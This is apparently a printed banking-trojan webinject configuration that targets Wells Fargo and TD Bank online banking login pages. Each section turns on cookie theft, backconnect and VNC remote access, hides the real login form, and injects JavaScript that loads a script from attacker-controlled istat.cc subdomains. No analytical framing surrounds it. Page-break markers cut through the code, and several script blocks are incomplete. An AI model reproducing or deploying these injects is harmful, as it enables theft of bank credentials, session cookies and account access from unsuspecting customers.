___path = 'wellsfargobiz';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'frmSignon';var loadJS = function(url,callBack) {

if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url;

Page 163

injpack1_skylineinc-inc net (2).txt document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}


} else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false;

Page 164

injpack1_skylineinc-inc net (2).txt } });

}}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<wellsfargo CORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www.wellsfargo401konline.com*" request="*login.do*" />

<cookies_get domain="*www.wellsfargo401konline.com*" request="*login.do*" /><avi domain="*www.wellsfargo401konline.com*" request="*login.do*" /><sols_get domain="*www.wellsfargo401konline.com*" request="*login.do*" />

<backconnect domain="*wellsfargo401konline.com*" /><vnc domain="*www.wellsfargo401konline.com*" request="*login.do*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="loginForm"</begin><inject> style="display:none;" id="frmSignon"</inject><end mask="*"></end></data>


var ___path = 'wellsfargocorp';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'frmSignon';var loadJS = function(url,callBack) {

if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) {

Page 165

injpack1_skylineinc-inc net (2).txt this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}



}</script>

</inject>Page 166

injpack1_skylineinc-inc net (2).txt<end mask="*"></BODY></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<TDBANK PERS>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*onlinebanking.tdbank.com*" request="*login.asp*" />;<url domain="*onlinebanking.tdbank.com*" request="*default.asp*" />

<cookies_get domain="*onlinebanking.tdbank.com*" request="*accts*" /><avi domain="*onlinebanking.tdbank.com*" request="*login.asp*" /><sols_get domain="*onlinebanking.tdbank.com*" request="*accts*" />

<backconnect domain="*tdbank.com*" /><vnc domain="*tdbank.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*ID="Form1"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<Ie FOCUS FIX<data><begin mask="*">function userCtrlFocus()</begin><inject> { return; }</inject><end mask="*">addLoadEvent(function ()</end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">if (document.getElementById('Form1')) {

var ___path = 'tdbank';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Page 167

injpack1_skylineinc-inc net (2).txtMath.random();

var hiddenID = 'Form1';var loadJS = function(url,callBack) {


}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); });

Page 168

injpack1_skylineinc-inc net (2).txt }} catch (e) {}


}}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<TDBANK BIZ>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><unit><url domain="*businessonline.tdbank.com*" request="*core/login.aspx*" /><url domain="*businessonline.tdbank.com*" request="*IntelligentAuthentication/Challenge.aspx*" />

<cookies_get domain="*businessonline.tdbank.com*" request="*core/login.aspx*" /><avi domain="*businessonline.tdbank.com*" request="*core/login.aspx*" /><sols_get domain="*businessonline.tdbank.com*" request="*core/login.aspx*" />

<backconnect domain="*tdbank.com*" /><vnc domain="*tdbank.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>



var ___path = 'tdbankbiz';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'MAINFORM';var loadJS = function(url,callBack) {

if (callBack == undefined) callBack = function() {return};

Page 169

injpack1_skylineinc-inc net (2).txt lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}


} else { loadJS(url,function() { if (!window.lvltxt) {

Page 170

injpack1_skylineinc-inc net (2).txtdocument.getElementById(hiddenID).style.display='block'; return false; } });

}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<TDBANK CORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><unit><url domain="*tdetreasury.tdbank.com*" request="*logon/sbuser*" />

<cookies_get domain="*tdetreasury.tdbank.com*" request="*logon/sbuser*" /><avi domain="*tdetreasury.tdbank.com*" request="*logon/sbuser*" /><sols_get domain="*tdetreasury.tdbank.com*" request="*logon/sbuser*" />

<backconnect domain="*tdbank.com*"/><vnc domain="*tdetreasury.tdbank.com*" request="*logon/sbuser*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*class="contenttable"</begin><inject> style="display:none;" id="loginTable"</inject><end mask="*"></end></data>


var ___path = 'tdbankcorp';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'loginTable';var loadJS = function(url,callBack) {

if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true;

Page 171

injpack1_skylineinc-inc net (2).txt afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}



}</script>

</inject><end mask="*">

Page 172

injpack1_skylineinc-inc net (2).txt</body></end></data>

</unit>

Page 173

injpack1 skylineinc-inc net (2).txt - Notepad · injpack1_skylineinc-inc net (2).txt ... ...

Documents